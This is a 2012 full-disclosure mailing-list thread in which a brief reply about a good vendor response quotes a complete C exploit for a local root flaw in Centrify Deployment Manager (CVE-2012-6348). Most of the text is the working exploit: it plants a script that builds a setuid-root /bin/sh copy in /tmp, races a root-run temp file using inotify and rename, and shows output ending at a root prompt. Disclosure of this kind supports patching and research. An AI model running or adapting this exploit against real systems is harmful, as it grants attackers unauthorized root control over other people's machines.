full-disclosure - Re: Local root exploit for Centrify Deployment Manager

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Date: Tue, 18 Dec 2012 20:56:37 +0000 (GMT)
From: "Larry W. Cashdollar" <larry0@...com>
To: noloader@...il.com
Cc: full <full-disclosure@...ts.grok.org.uk>
Subject: Re: Local root exploit for Centrify Deployment
 Manager < v2.1.0.283 local root

These guys were really cool about it, probably one of the best vendor responses I've gotten.  I am seeing if
I can go to the next iteration of training. =-> 

On Dec 18, 2012, at 12:51 PM, Jeffrey Walton <noloader@...il.com> wrote:

> I've got a feeling you will not be sent to anymore vendor classes :)
>
> On Tue, Dec 18, 2012 at 3:49 PM, Larry W. Cashdollar <larry0@...com> wrote:
> > /*Local root exploit for Centrify Deployment Manager v2.1.0.283 local root,
> > Centrify released a fix very quickly - nice vendor response.
> >
> > http://vapid.dhs.org/exploits/centrify_local_r00t.c
> >
> > CVE-2012-6348 12/17/2012
> > http://vapid.dhs.org/advisories/centrify_deployment_manager_insecure_tmp2.html
> > Greetings vladz, Thanks for the inotify & syscall technique.
> >
> > This exploit based on http://vladz.devzero.fr/010_bzexe-vuln.php
> >
> > Run the exploit and wait for administrator to analyse or deploysoftware
> > to the system.
> >
> > larry@h0g:~/code/exploit$ ./cent_root centrify.cmd.0
> > [*] Launching attack against "centrify.cmd.0"
> > [+] Creating evil script (/tmp/evil)
> > [+] Creating target file (/bin/touch /tmp/centrify.cmd.0)
> > [+] Initialize inotify
> > [+] Waiting for root to launch "centrify.cmd.0"
> > [+] Opening root shell (/tmp/sh)
> > #
> >
> > Larry W. Cashdollar
> > @_larry0
> > */
> >
> >
> > #include <stdlib.h>
> > #include <stdio.h>
> > #include <unistd.h>
> > #include <sys/stat.h>
> > #include <sys/types.h>
> > #include <string.h>
> > #include <sys/inotify.h>
> > #include <fcntl.h>
> > #include <sys/syscall.h>
> >
> > /*Create a small c program to pop us a root shell*/
> > int create_nasty_shell(char *file) {
> > char *s = "#!/bin/bash\n"
> > "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"
> > "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"
> > "chmod 4755 /tmp/sh;\n";
> >
> > int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
> > write(fd, s, strlen(s));
> > close(fd);
> >
> > return 0;
> > }
> >
> >
> > int main(int argc, char **argv) {
> > int fd, wd;
> > char buf[1], *targetpath, *cmd,
> > *evilsh = "/tmp/evil", *trash = "/tmp/trash";
> >
> > if (argc < 2) {
> > printf("Usage: %s <target file> \n", argv[0]);
> > return 1;
> > }
> >
> > printf("[*] Launching attack against \"%s\"\n", argv[1]);
> >
> > printf("[+] Creating evil script (/tmp/evil)\n");
> > create_nasty_shell(evilsh);
> >
> > targetpath = malloc(sizeof(argv[1]) + 6);
> > cmd = malloc(sizeof(char) * 32);
> > sprintf(targetpath, "/tmp/%s", argv[1]);
> > sprintf(cmd,"/bin/touch %s",targetpath);
> > printf("[+] Creating target file (%s)\n",cmd);
> > system(cmd);
> >
> > printf("[+] Initialize inotify\n");
> > fd = inotify_init();
> > wd = inotify_add_watch(fd, targetpath, IN_ATTRIB);
> >
> > printf("[+] Waiting for root to change perms on \"%s\"\n", argv[1]);
> > syscall(SYS_read, fd, buf, 1);
> > syscall(SYS_rename, targetpath, trash);
> > syscall(SYS_rename, evilsh, targetpath);
> >
> > inotify_rm_watch(fd, wd);
> >
> > printf("[+] Opening root shell (/tmp/sh)\n");
> > sleep(2);
> > system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");
> >
> > return 0;
> > }

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